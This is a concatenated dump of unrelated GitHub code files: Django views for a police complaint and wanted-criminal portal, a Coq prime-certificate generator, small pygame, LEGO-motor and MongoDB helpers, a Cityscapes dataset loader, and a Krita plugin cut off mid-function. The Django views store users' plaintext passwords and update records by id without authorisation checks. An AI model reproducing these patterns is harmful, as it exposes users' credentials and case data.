email=request.session['email']\n # print(email,'############################')\n dgp_id=Register_dgp.objects.filter(email=email)\n # print(dgp_id,'###########################')\n return render(request,'dgp/dgp_viewprofile.html',{'dgp':dgp_id})\n\ndef dgp_updatedgp(request):\n id=request.GET.get('id')\n update_obj=Register_dgp.objects.filter(id=id)\n # print(update_obj)\n if request.POST:\n firstname=request.POST['fname']\n lastname=request.POST['lname']\n phone=request.POST['phone']\n dgpimage=request.POST.get('dgpimage')\n dgpimg_name=request.FILES['dgpimage']\n job_status=request.POST['job_status']\n office=request.POST['address']\n ofc_district=request.POST['office_district']\n dgp=Register_dgp.objects.get(id=id)\n dgp.fname=firstname\n dgp.lname=lastname\n dgp.phone=phone\n dgp.image=dgpimg_name\n dgp.job_status=job_status\n dgp.office_address=office\n dgp.office_district=ofc_district\n dgp.save()\n return render(request,'dgp/dgp_updatedgp.html',{\"dgp\":update_obj})\ndef dgp_viewhistories(request):\n closed_case=Add_complaint.objects.filter(complaint_status=\"Closed\")\n print(closed_case)\n return render(request,'dgp/dgp_viewhistories.html',{'histories':closed_case})\n#station\ndef station_dashboard(request):\n return render(request,'station/station_dashboard.html')\ndef station_addwantedcriminal(request):\n station_email=request.session['email']\n station_obj=Register_station.objects.get(email=station_email)\n if request.POST:\n images=request.FILES.getlist('images')\n fname=request.POST['fname']\n lname=request.POST['lname']\n fathername=request.POST['fathername']\n age=request.POST['age']\n sex=request.POST['sex']\n address=request.POST['address']\n crimemode=request.POST['crime_mode']\n crimedesc=request.POST['crime_desc']\n reg_wanted=Register_wanted.objects.create(fname=fname,lname=lname,father_name=fathername,age=age,\n sex=sex,address=address,mode_of_crime=crimemode,crime_desc=crimedesc,station=station_obj)\n reg_wanted.save()\n for image in images:\n image=Wanted_images.objects.create(wanted=reg_wanted,wanted_images=image)\n image.save()\n \n return render(request,'station/station_addwantedcriminal.html')\n\n\ndef station_viewcomplaints(request):\n station_email=request.session['email']\n # print(station_email)\n stationobj=Register_station.objects.get(email=station_email)\n # print(stationobj)\n stationdgp=stationobj.dgp\n # print(stationdgp.office_district,\"##################\")\n publics=Register_public.objects.filter(district=stationdgp.office_district)\n # print(publics,\"############################\")\n complaints=Add_complaint.objects.filter(complaint_status=\"Pending\",complaint_type_status='complaint',public_id__district=stationdgp.office_district)\n # print(complaints,'################')\n return render(request,'station/station_viewcomplaints.html',{'complaints':complaints})\n\n\ndef station_viewmissings(request):\n return render(request,'station/station_viewmissings.html')\n\ndef station_registercomplaint(request):\n id=request.GET.get('id')\n c_status=request.GET.get('complaint_status')\n new_status=Add_complaint.objects.filter(id=id,complaint_status=c_status).update(complaint_status=\"Registered\")\n return redirect('/station-viewcomplaints')\ndef station_withdrawcomplaint(request):\n id=request.GET.get('id')\n email=request.session['email']\n sobj=Register_station.objects.get(email=email)\n c_status=request.GET.get('complaint_status')\n new_status=Add_complaint.objects.filter(id=id,complaint_status=c_status).update(complaint_status=\"Withdrawed\",station=sobj)\n return redirect('/station-viewcomplaints')\ndef station_viewwithdrawed(request):\n email=request.session['email']\n sobj=Register_station.objects.get(email=email)\n withdraweds=Add_complaint.objects.filter(station=sobj,complaint_status=\"Withdrawed\")\n # print(withdraweds,'###########################################*******')\n return render(request,'station/station_viewwithdrawed.html',{\"withdraweds\":withdraweds})\ndef station_viewregistered(request):\n p_email=request.session['email']\n # print(p_email,'#############################')\n p_obj=Register_station.objects.get(email=p_email)\n # print(p_obj.dgp,'pobj.dgp')\n dgp=Register_dgp.objects.get(id=p_obj.dgp.id)\n # print(dgp.office_district,'district#################')\n reg_complaints=Add_complaint.objects.filter(complaint_status=\"Registered\",public__district=dgp.office_district)\n # print(reg_complaints,'registered###################')\n return render(request,'station/station_viewregistered.html',{'reg_complaints':reg_complaints})\ndef station_viewcriminals(request):\n criminals=Register_wanted.objects.filter(wanted_status=\"wanted\")\n # print(criminals,\"#########################\")\n return render(request,'station/station_viewcriminals.html',{'criminals':criminals})\ndef station_viewcriminaldetail(request):\n criminal_id=request.GET.get('id')\n criminal_obj=Register_wanted.objects.get(id=criminal_id)\n criminal_images=Wanted_images.objects.filter(wanted=criminal_obj)\n # print(criminal_images)\n criminal_detail=Register_wanted.objects.get(id=criminal_obj.id)\n feedbacks=Public_feedback.objects.filter(wanted=criminal_obj)\n # print(feedbacks)\n return render(request,'station/station_viewcriminaldetail.html',{'criminal_images':criminal_images,'details':criminal_detail,'feedbacks':feedbacks})\ndef station_searchcriminal(request):\n cid=request.GET.get('id')\n # randomcid=request.GET.get('complaintid')\n crimemode=request.GET.get('crime_mode')\n # print(cid,randomcid,crimemode,\"################new\")\n similarmode=Register_wanted.objects.filter(mode_of_crime=crimemode)\n # print(similarmode,\"555555555555555555\")\n return render(request,'station/station_searchcriminal.html',{\"similarcriminals\":similarmode,'complaint':cid})\ndef station_viewsearchcriminaldetail(request):\n complaint=request.GET.get('complaintid')\n # print(com_random_no,'$$$$$$$$$$$$$$$$$$$$$$$$')\n criminal_id=request.GET.get('wanteddataid')\n criminal_obj=Register_wanted.objects.get(id=criminal_id)\n criminal_images=Wanted_images.objects.filter(wanted=criminal_obj)\n # print(criminal_images)\n criminal_detail=Register_wanted.objects.get(id=criminal_obj.id)\n return render(request,'station/station_viewsearchcriminaldetail.html',{'criminal_images':criminal_images,'details':criminal_detail,'complaintid':complaint})\n\ndef station_arrest(request):\n criminalid=request.GET.get('criminalid')\n complaintid=request.GET.get('complaintid')\n station_email=request.session['email']\n stationobj=Register_station.objects.get(email=station_email)\n criminalobj=Register_wanted.objects.get(id=criminalid)\n # print(criminalid,stationobj,'***********************************')\n complaintobj=Add_complaint.objects.filter(id=complaintid).update(complaint_status=\"arrested\",station=stationobj,criminal=criminalobj)\n # print(complaintobj,\":):):):):)\")\n criminal_status=Register_wanted.objects.filter(id=criminalid).update(wanted_status=\"arrested\")\n # print(criminal_status,\":(:(:(:(\")\n return redirect('/station-viewregistered')\ndef station_viewarrested(request):\n semail=request.session['email']\n sobj=Register_station.objects.get(email=semail)\n arrests=Add_complaint.objects.filter(station=sobj,complaint_status='arrested')\n # print(arrests,'@@@@@@@@@@@@@@@@@@@@@@')\n return render(request,'station/station_viewarrested.html',{\"arrests\":arrests})\ndef station_addwitness(request):\n cid=request.GET.get('cid')\n # print(cid,'###########')\n # cobj=Add_complaint.objects.get(id=cid)\n if request.POST:\n fname=request.POST['wfname']\n lname=request.POST['wlname']\n phone=request.POST['wphone']\n email=request.POST['wemail']\n district=request.POST['wdistrict']\n # print(fname,lname,phone,email,district)\n c_witness=Add_complaint.objects.filter(id=cid).update(witness_district=district,witness_email=email,witness_fname=fname,witness_lname=lname,witness_phone=phone)\n # print(c_witness)\n return redirect('/station-viewarrested')\n return render(request,'station/station_addwitness.html')\ndef station_missings(request):\n missings=Add_complaint.objects.filter(complaint_type_status=\"missing\")\n return render(request,'station/station_viewmissings.html',{\"missings\":missings})\ndef station_closecase(request):\n cid=request.GET.get('cid')\n closed=Add_complaint.objects.filter(id=cid).update(complaint_status=\"Closed\")\n return redirect('/station-viewarrested')\n\ndef station_viewclosed(request):\n email=request.session['email']\n sobj=Register_station.objects.get(email=email)\n closed=Add_complaint.objects.filter(station=sobj,complaint_status=\"Closed\")\n # print(closed)\n if request.POST:\n pdffilename=request.FILES['fir_upload']\n compid=request.POST['compid']\n print(pdffilename)\n fir_add=Add_complaint.objects.get(id=compid)\n fir_add.fir_upload=pdffilename\n fir_add.save()\n # fir_add.save()\n \n print(fir_add,\":)))))))))))))\")\n return render(request,'station/station_viewclosed.html',{'closed':closed})\n\n#public\ndef public_dashboard(request):\n return render(request,'public/public_dashboard.html')\ndef public_addcomplaint(request):\n public_email=request.session['email']\n public_obj=Register_public.objects.get(email=public_email)\n if request.POST:\n # date=request.POST['missingdate']\n mode=request.POST['crime_mode']\n desc=request.POST['crimedesc'] \n complaintid =randint(100, 999) \n # print(complaintid,\"############################\")\n mdata=Add_complaint.objects.create(missing_image=\"\",missing_desc=\"\",\n crime_mode=mode,crime_desc=desc,complaint_type_status='complaint',complaintid=complaintid,public=public_obj)\n mdata.save()\n msge=\"your complaint has been send with complaint id: \"+str(complaintid)\n messages.info(request,msge)\n return render(request,'public/public_addcomplaint.html')\ndef public_addmissing(request):\n public_email=request.session['email']\n public_obj=Register_public.objects.get(email=public_email)\n # public_id=public_obj.id\n if request.POST:\n # date=request.POST['missingdate']\n image=request.POST.get('missingimage')\n imgname=request.FILES['missingimage']\n desc=request.POST['missingdesc']\n \n complaintid =randint(100, 999) \n # print(complaintid,\"############################\")\n mdata=Add_complaint.objects.create(missing_image=imgname,missing_desc=desc,\n crime_mode='',crime_desc='',complaintid=complaintid,public=public_obj)\n mdata.save()\n msge=\"your complaint has been send with complaint id: \"+str(complaintid)\n messages.info(request,msge)\n return render(request,'public/public_addmissing.html')\ndef public_register(request):\n if request.POST:\n firstname=request.POST['fname']\n lastname=request.POST['lname']\n phone=request.POST['phone']\n email=request.POST['email']\n password=request.POST['password']\n user_login=Login_Table.objects.create_user(user_type=\"users\",view_password=password,username=email,password=password)\n user_login.save()\n add_public=Register_public.objects.create(f_name=firstname,l_name=lastname,phone=phone,email=email,user_login=user_login)\n add_public.save()\n return redirect('/users-login')\n return render(request,'public/public_register.html')\ndef public_viewcomplaints(request):\n public_email=request.session['email']\n public_obj=Register_public.objects.get(email=public_email)\n public_id=public_obj.id\n complaints=Add_complaint.objects.filter(public_id=public_id)\n # print(complaints)\n return render(request,'public/public_viewcomplaints.html',{\"complaints\":complaints})\n\ndef public_viewcriminals(request):\n criminals=Register_wanted.objects.filter(wanted_status=\"wanted\")\n return render(request,'public/public_viewcriminals.html',{'criminals':criminals})\n\ndef public_viewcriminaldetail(request):\n criminal_id=request.GET.get('id')\n criminal_obj=Register_wanted.objects.get(id=criminal_id)\n criminal_images=Wanted_images.objects.filter(wanted=criminal_obj)\n # print(criminal_images)\n criminal_detail=Register_wanted.objects.get(id=criminal_obj.id)\n return render(request,'public/public_viewcriminaldetail.html',{'criminal_images':criminal_images,'details':criminal_detail})\ndef public_haveaccount(request):\n return redirect('/users-login')\ndef public_newmissingcase(request):\n if request.POST:\n firstname=request.POST['fname']\n lastname=request.POST['lname']\n phone=request.POST['phone']\n email=request.POST['email']\n password=request.POST['password']\n district=request.POST['district']\n user_login=Login_Table.objects.create_user(user_type=\"users\",view_password=password,username=email,password=password)\n user_login.save()\n add_public=Register_public.objects.create(f_name=firstname,l_name=lastname,phone=phone,email=email,district=district,user_login=user_login)\n add_public.save()\n request.session['id']=add_public.id\n # print(request.session['id'])\n pid=request.session['id']\n # print(pid,\"#################\")\n public_obj=Register_public.objects.get(id=pid)\n # print(public_obj,'################')\n image=request.POST.get('missingimage')\n imgname=request.FILES['missingimage']\n desc=request.POST['missingdesc']\n complaintid =randint(100, 999) \n # print(complaintid,\"############################\")\n mdata=Add_complaint.objects.create(missing_image=imgname,missing_desc=desc,\n crime_mode='',crime_desc='',complaint_type_status='missing',complaintid=complaintid,public=public_obj)\n mdata.save()\n msge=\"your complaint has been send with complaint id: \"+str(complaintid)\n messages.info(request,msge)\n return render(request,'public_newmissingcase.html')\n \ndef public_newcomplaintcase(request):\n if request.POST:\n firstname=request.POST['fname']\n lastname=request.POST['lname']\n phone=request.POST['phone']\n email=request.POST['email']\n password=request.POST['password']\n district=request.POST['district']\n user_login=Login_Table.objects.create_user(user_type=\"users\",view_password=password,username=email,password=password)\n user_login.save()\n add_public=Register_public.objects.create(f_name=firstname,l_name=lastname,phone=phone,email=email,district=district,user_login=user_login)\n add_public.save()\n request.session['id']=add_public.id\n # print(request.session['id'])\n pid=request.session['id']\n # print(pid,\"#################\")\n public_obj=Register_public.objects.get(id=pid)\n # print(public_obj,'################')\n mode=request.POST['crime_mode']\n desc=request.POST['crimedesc'] \n complaintid =randint(100, 999) \n # print(complaintid,\"############################\")\n mdata=Add_complaint.objects.create(missing_image=\"\",missing_desc=\"\",\n crime_mode=mode,crime_desc=desc,complaint_type_status='complaint',complaintid=complaintid,public=public_obj)\n mdata.save()\n msge=\"your complaint has been send with complaint id: \"+str(complaintid)\n messages.info(request,msge)\n return render(request,'public_newcomplaintcase.html')\n\ndef public_addfeedback(request):\n cid=request.GET.get('cid')\n cobj=Register_wanted.objects.get(id=cid)\n # print(cobj)\n pemail=request.session['email']\n pobj=Register_public.objects.get(email=pemail)\n # print(pobj)\n if request.POST:\n feedback=request.POST['feedback']\n # print(feedback)\n feed=Public_feedback.objects.create(feedback=feedback,public=pobj,wanted=cobj)\n feed.save()\n # print(feed)\n return render(request,'public/public_addfeedback.html')\ndef public_viewfeedbacks(request):\n email=request.session['email']\n pobj=Register_public.objects.get(email=email)\n # print(pobj)\n feedbacks=Public_feedback.objects.filter(public=pobj)\n # print(feedbacks)\n\n return render(request,'public/public_viewfeedbacks.html',{'feedbacks':feedbacks})","repo_name":"parvathyip/catch_the_crook","sub_path":"station_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":21239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19220683969","text":"#!/usr/bin/env python3\nimport sys, re, math, glob\n\nalready = re.findall(r'Lemma prime.* : prime (\\d+).', open('coqprime/examples/BasePrimes.v').read())\n\ntwo_ints = lambda t: (int(t[0]), int(t[1]))\nparse_factor = lambda f: two_ints(f.split('^')) if '^' in f else (int(f), 1)\nnumeric = lambda s: [int(x) for x in re.findall(r'\\d+', s)]\n\nprint (\"(* Proofs by Daniel J. Bernstein and Tanja Lange. SafeCurves: choosing safe curves for elliptic-curve cryptography. https://safecurves.cr.yp.to, accessed 17 January 2016. *) \")\nprint (\"Require Import PocklingtonRefl.\\nLocal Open Scope positive_scope.\\nSet Virtual Machine.\\n\\nCreate HintDb primes discriminated.\\nHint Resolve prime2.\")\nfor file in sorted(glob.glob('safecurves.cr.yp.to/proof/*.html'), key=numeric):\n if numeric(file) == [2]:\n continue\n with open(file) as f:\n htmlproof = f.read()\n n = re.findall(r'n = (\\d+)', htmlproof)[0]\n if n in already:\n continue\n b = re.findall(r'b = (\\d+)', htmlproof)[0]\n\n factors = [] # list string\n givens = [] # list string\n raw_factors = re.findall(r'\\(([\\d\\s\\^\\*\\+]+)\\)\\^2 \\> n.', htmlproof)[0].split('*')\n for (p, alpha) in sorted(map(parse_factor, raw_factors), key=lambda t: t[0]**t[1], reverse=True):\n factors.append(\"(%d, %d)\" % (p, alpha))\n givens.append(\"Proof_certif _ prime%d\" % p)\n\n cnt6 = '::' + '\\n' + 6*' '\n print (\"\"\"\nLemma prime{n} : prime {n}.\nProof.\n apply (Pocklington_refl\n (SPock_certif {n} {b}\n ( {factors}::nil))\n ( {givens}::nil)).\n exact_no_check (refl_equal true).\nQed.\nHint Resolve prime{n} : primes.\"\"\".format(n=n, b=b, factors=cnt6.join(factors), givens=cnt6.join(givens)))\n\nfor file in ['safecurves.cr.yp.to/twist.html', 'safecurves.cr.yp.to/base.html', 'safecurves.cr.yp.to/field.html']:\n with open(file) as f:\n print (\"\\n(* Primes mentioned in : *)\".format(file=file))\n for p in set(re.findall(r'>\\s?= (2\\^.*)', f.read())):\n print (\"\"\"\nLemma prime{s} : prime ({p}).\nProof.\n auto with primes.\nQed.\"\"\".format(s='_'.join(re.findall(r'[+\\d]+', p)).replace('_2_','_').replace('+_','p'), p=p))\n","repo_name":"andres-erbsen/safecurves-primes","sub_path":"convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":2133,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"11402043128","text":"from .Vector2 import vector2\nimport pygame\n\nclass tile:\n def __init__(self, screen, parent, posx, posy, width, height, category, startpos=None):\n if startpos == None:\n startpos = False\n self.startpos = startpos\n\n self.screen = screen\n self.parent = parent\n self.pos = vector2(self.parent.pos.x + posx, self.parent.pos.y + posy)\n self.size = vector2(width, height)\n self.tiledir = None\n self.category = category\n\n # Pass in the tiles for the directions.\n def setupDirections(self,up,right,down,left):\n self.tiledir = tiledir(up,right,down,left)\n\n # Add drawing functionality here using Pygame.\n def draw(self):\n pygame.draw.rect(self.screen,(255,255,255),(self.pos.x, self.pos.y, self.size.x, self.size.y))\n pygame.draw.rect(self.screen,(0,0,0),(self.pos.x, self.pos.y, self.size.x, self.size.y), 1)\n\n\n def update(self):\n pass\n\n# Used to store the adj. tiles.\nclass tiledir:\n def __init__(self,left,up,right,down):\n self.left = left\n self.up = up\n self.right = right\n self.down = down\n","repo_name":"Kingdomdark/ProjectOP2","sub_path":"main/classes/Tile.py","file_name":"Tile.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27854174501","text":"from evdev import InputDevice, categorize, ecodes\nfrom buildhat import Motor\n\nmotora = Motor('A')\ngamepad = InputDevice('/dev/nimbus')\n \nfor event in gamepad.read_loop():\n keyevent = categorize(event)\n #print(event)\n\n # Every buttonpress on an input device can be seen as an event. \n # Every input event has a specific event code.\n if event.code == 1 and event.value != 0:\n print(\"Left joystick forward/backwards pressed\")\n print(\"Speed:\")\n print(event.value)\n\n # The value 0 isn't really the value of an event because the joystick is not touched at all.\n # To stop the motor, values near 0 are used\n if event.value >= -9 and event.value <= 9:\n motora.stop()\n\n #the joysticks on the Steelseries Nimbus have values between -127 and 127. \n #this needs to be translated to the powerlevel range and direction (negative or positive values) \n #the LEGO motor is used to work with (-100 to 100 )\n if event.value <= 127 and event.value >= -127:\n print(round((event.value/127)*100))\n motora.start(speed=(round((event.value/127)*100)))\n continue\n \n else:\n print(\"illegal or unknown speed\")\n","repo_name":"ghakfoort/robots","sub_path":"motor-examples/example-powerlevel-and-direction.py","file_name":"example-powerlevel-and-direction.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"8677872061","text":"\"\"\"openinfradays URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nfrom . import views, sns_login\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', views.lobby),\n path('session/', views.session_detail),\n path('program/sessions', views.session_list),\n path('about', views.about),\n path('bulk', views.bulk),\n path('sponsors', views.sponsors),\n path('virtualbooth', views.virtualbooth),\n path('virtualbooth/', views.virtualbooth_detail),\n path('schedule', views.schedules),\n path('lobby', views.lobby),\n path('event', views.event),\n\n]\n\nurlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","repo_name":"openstack-kr/openinfradays-2022","sub_path":"openinfradays/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"9831634579","text":"def insert_db_into_uri(uri, db):\n \"\"\"\n Inserts the database name into the MongoDB URI.\n\n Note: Make sure to only pass URIs that do not already have a database name.\n\n Args:\n uri (str): MongoDB URI without a database name.\n db (str): Name of the database to be inserted into the URI.\n\n Returns:\n str: Modified MongoDB URI with the database name.\n\n \"\"\"\n q_index = str(uri).find('?')\n if q_index == -1:\n return uri\n query=uri[q_index:]\n base=uri[:q_index]\n return base+db+query\n\n","repo_name":"FerrenF/fletsync","sub_path":"util/uri.py","file_name":"uri.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"25159445385","text":"import numpy as np\nimport os\nfrom PIL import Image\nimport torch\nimport json\nfrom torch.utils.data import Dataset\nfrom torchvision.transforms import Compose\n# home_dir = os.getcwd()\n# print(home_dir)\n# os.chdir(home_dir)\n\nimport cv2\nimport matplotlib.pyplot as plt \nimport seaborn as sns\n\n# from ..utils.transforms import OneHotEncode, OneHotEncode_smooth\n\ndef load_image(file):\n return Image.open(file)\n\ndef read_img_list(filename):\n print(filename)\n with open(filename) as f:\n img_list = []\n for line in f:\n img_list.append(line[:-1])\n return np.array(img_list)\n\n\"\"\"\nJPEGImages : normMean = [0.38009313 0.39160565 0.25242192]\nJPEGImages : normstdevs = [0.12935428 0.16977909 0.1502691 ]\n\"\"\"\n\nclass CityScape(Dataset):\n\n TRAIN_LIST = \"ImageSets/main/train.txt\"\n VAL_LIST = \"ImageSets/main/val.txt\"\n\n def __init__(self, root, data_root, n_classes, img_transform = Compose([]),\\\n label_transform=Compose([]), co_transform=Compose([]),\\\n train_phase=True,split=1,labeled=True,seed=0,label_correction=False):\n np.random.seed(666)\n self.n_classes = n_classes\n self.root = root\n self.data_root = data_root\n self.images_root = os.path.join(self.data_root, 'subset', 'JPEGImages') # JPEGImages test_img\n self.trimap_root = os.path.join(self.data_root, 'subset', 'SCRLabels') # SCRLabels test_scr\n self.eval_root = os.path.join(self.data_root, 'subset', 'EvalAnnotations')\n self.img_w = 1025\n self.img_h = 512\n self.train_phase = train_phase\n self.labels = [\n # name id trainId category catId hasInstances ignoreInEval color (bgr) # scribble # gray-value 128 - 163\n [ 'road' , 1 , 0 , 'flat' , 1 , False , False , (128, 64,128) ], # [128, 0 , 0] 76\n [ 'sidewalk' , 2 , 1 , 'flat' , 1 , False , False , (232, 35,244) ], # [ 0, 128, 0] 149\n [ 'building' , 3 , 2 , 'construction' , 2 , False , False , ( 70, 70, 70) ], # [ 0, 0, 128] 29\n [ 'wall' , 3 , 3 , 'construction' , 2 , False , False , (156,102,102) ], # [ 0, 0, 128] 29\n [ 'fence' , 3 , 4 , 'construction' , 2 , False , False , (153,153,190) ], # [ 0, 0, 128] 29\n [ 'guard rail' , 3 , 4 , 'construction' , 2 , False , True , (180,165,180) ], # [ 0, 0, 128] 29\n [ 'bridge' , 3 , 4 , 'construction' , 2 , False , True , (100,100,150) ], # [ 0, 0, 128] 29\n [ 'tunnel' , 3 , 4 , 'construction' , 2 , False , True , ( 90,120,150) ], # [ 0, 0, 128] 29\n [ 'sign' , 4 , 6 , 'object' , 3 , False , False , ( 30,170,250) ], # [128, 128, 0] 225 \n [ 'sign' , 4 , 7 , 'object' , 3 , False , False , ( 0,220,220) ], # [128, 128, 0] 225\n [ 'tree' , 5 , 8 , 'nature' , 4 , False , False , ( 35,142,107) ], # [128, 0, 128] 105\n [ 'sky' , 6 , 10 , 'sky' , 5 , False , False , (180,130, 70) ], # [ 0, 128, 128] 178\n [ 'person' , 7 , 11 , 'human' , 6 , True , False , ( 60, 20,220) ], # [ 64, 0, 0] 48\n [ 'person' , 7 , 12 , 'human' , 6 , True , False , ( 0, 0,255) ], # [ 64, 0, 0] 48\n [ 'car' , 8 , 13 , 'vehicle' , 7 , True , False , (142, 0, 0) ], # [ 0, 64, 0] 95\n [ 'car' , 8 , 14 , 'vehicle' , 7 , True , False , ( 70, 0, 0) ], # [ 0, 64, 0] 95\n [ 'car' , 8 , 15 , 'vehicle' , 7 , True , False , (100, 60, 0) ], # [ 0, 64, 0] 95\n [ 'bicycle' , 9, 17 , 'vehicle' , 7 , True , False , (230, 0, 0) ], # [ 64, 64, 0] 144\n [ 'bicycle' , 9, 18 , 'vehicle' , 7 , True , False , ( 32, 11,119) ], # [ 64, 64, 0] 144\n ]\n\n self.img_list = read_img_list(os.path.join(self.data_root,'subset',self.TRAIN_LIST)) \\\n if train_phase else read_img_list(os.path.join(self.data_root,'subset',self.VAL_LIST))\n self.split = split\n self.labeled = labeled\n n_images = len(self.img_list)\n self.img_l = np.random.choice(range(n_images),int(n_images*split),replace=False) # Labeled Images\n self.img_u = np.array([idx for idx in range(n_images) if idx not in self.img_l],dtype=int) # Unlabeled Images\n if self.labeled:\n self.img_list = self.img_list[self.img_l]\n else:\n self.img_list = self.img_list[self.img_u]\n self.img_transform = img_transform\n self.label_transform = label_transform\n self.co_transform = co_transform\n self.label_correction = label_correction\n # subset\n self.classes = ('background', 'road', 'sidewalk', 'construction', \n 'sign', 'tree', 'sky', 'person', 'car', 'bicycle')\n\n def _to_grayvalue(self, rgb):\n return int(0.2989*rgb[0] + 0.5870*rgb[1] + 0.1140*rgb[2])\n\n def _decode_mask(self, gt_img):\n h, w, _ = gt_img.shape\n gt_dst = np.zeros((h, w))\n\n for label in self.labels:\n # print(label)\n color = label[-1]\n label_name, label_ind = label[0], label[1]\n indices = np.where(np.all(gt_img == color, axis=-1))\n print(label_name, color, label_ind, np.shape(indices))\n for x, y in zip(indices[0], indices[1]):\n gt_dst[x][y] = label_ind\n return gt_dst\n\n def __getitem__(self, index):\n # print(\"name: \", self.img_list[index])\n filename = self.img_list[index]\n\n with open(os.path.join(self.images_root,filename+'.png'), 'rb') as f: # jpg\n # print(\"image: \", filename)\n image = load_image(f).convert('RGB')\n # image = image.resize((self.img_w, self.img_h))\n \n if self.train_phase:\n with open(os.path.join(self.trimap_root,filename+'.png'), 'rb') as f:\n # print(\"trimap: \", filename)\n trimap = load_image(f).convert('L')\n trimap_np = np.array(trimap)\n # print(trimap_np.shape)\n img_labels = np.unique(trimap_np)\n # trimap_out = self.__gentrimaps__(trimap_np)\n\n clf_labels = np.zeros(self.n_classes)\n for c in range(self.n_classes):\n if c+1 in img_labels:\n clf_labels[c] = 1\n else:\n with open(os.path.join(self.eval_root,filename+'.png'), 'rb') as f:\n elabel = load_image(f).convert('L')\n # print(\"elabel: \", np.unique(np.array(elabel)))\n # elabel = self._decode_mask(np.array(elabel))\n # elabel = Image.fromarray(elabel)\n\n image_org = image.copy()\n if self.train_phase:\n image, trimap, image_org = self.co_transform((image, trimap, image_org))\n trimap= self.label_transform(trimap)\n clf_labels = self.label_transform(clf_labels)\n else:\n image, image_org, elabel = self.co_transform((image, image_org, elabel))\n elabel = self.label_transform(elabel)\n\n image = self.img_transform(image)\n image_org = self.label_transform(image_org)\n if self.train_phase:\n return np.array(image), np.array(trimap), np.array(image_org), clf_labels, filename\n else:\n return np.array(image), np.array(image_org), elabel, filename\n\n def __len__(self):\n return len(self.img_list)\n\n\ndef test():\n import sys\n home_dir = \"/home/yaok/software/closed-form-segmentation\"\n sys.path.append(home_dir)\n\n from utils.transforms import RandomSizedCrop, IgnoreLabelClass, ToTensorLabel, NormalizeOwn,ZeroPadding, OneHotEncode, RandomSizedCrop3\n from torchvision.transforms import ToTensor,Compose\n import matplotlib.pyplot as plt\n from torch.utils.data import DataLoader\n\n imgtr = [ToTensor(),NormalizeOwn()]\n # sigmoid \n labtr = [ToTensorLabel(tensor_type=torch.FloatTensor)]\n # cotr = [RandomSizedCrop((320,320))] # (321,321)\n cotr = [RandomSizedCrop2((312,312))]\n\n dataset_dir = '/media/data/seg_dataset'\n trainset = Corrosion(home_dir, dataset_dir,img_transform=Compose(imgtr), \n label_transform=Compose(labtr),co_transform=Compose(cotr),\n split=False,labeled=True)\n trainloader = DataLoader(trainset,batch_size=1,shuffle=True,num_workers=1,drop_last=True)\n\n for batch_id, (img, trimaps, img_org, img_names) in enumerate(trainloader):\n img, trimaps, img_org = img.numpy()[0], trimaps.numpy()[0], img_org.numpy()[0]\n fig, (ax1, ax2, ax3) = plt.subplots(1, 3)\n ax1.imshow(img)\n ax2.imshow(trimaps)\n ax3.imshow(img_org)\n plt.show()\n\nif __name__ == '__main__':\n test()\n","repo_name":"yaokmallorca/Closed-Form-Loss-for-WSSS","sub_path":"datasets/cityscape.py","file_name":"cityscape.py","file_ext":"py","file_size_in_byte":9948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"37792027015","text":"#!/usr/bin/env python3\nimport sys\nimport math\nimport os.path\nfrom PyQt5.QtCore import QObject, pyqtSignal, Qt\nfrom PyQt5.QtGui import QImage, QPainter, QColor, QCursor, QPen\nfrom PyQt5.QtWidgets import QWidget, QApplication\nfrom krita import *\n\ndef trueLength(size):\n return math.sqrt(pow(size.x(), 2) + pow(size.y(), 2));\n\nclass ReferenceExtension(Extension):\n\n def __init__(self, parent):\n #This is initialising the parent, always important when subclassing.\n super().__init__(parent)\n\n def setup(self):\n pass\n\n def createActions(self, window):\n pass\n\n# And add the extension to Krita's list of extensions:\nKrita.instance().addExtension(ReferenceExtension(Krita.instance()))\n\nclass ReferenceViewer(QWidget):\n colorPicked = pyqtSignal(QColor)\n triggerDistance = 10\n\n def __init__(self, parent=None, flags=None):\n super().__init__(parent)\n self.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)\n self.setCursor(QCursor(Qt.CrossCursor))\n\n self.image = QImage()\n self.zoom = 1.0\n self.oldZoom = None\n\n self.origin = QPoint(0, 0)\n self.oldOrigin = None\n\n self.pressedPoint = None\n self.moving = False\n self.currentColor = None\n\n def getCurrentColor(self, event):\n if not self.image.isNull():\n pos = (event.pos() - self.origin) / self.zoom\n return self.image.pixelColor(pos)\n\n return None\n\n def setImage(self, image=QImage()):\n self.image = image\n self.resetView()\n\n def resetView(self):\n if self.image.isNull():\n return\n\n self.zoom = min(self.size().width() / self.image.size().width(),\n self.size().height() / self.image.size().height())\n overflow = self.size() - (self.image.size() * self.zoom)\n self.origin = QPoint(int(overflow.width() / 2), int(overflow.height() / 2))\n self.update()\n\n def paintEvent(self, event):\n if self.image.isNull():\n return\n\n painter = QPainter(self)\n 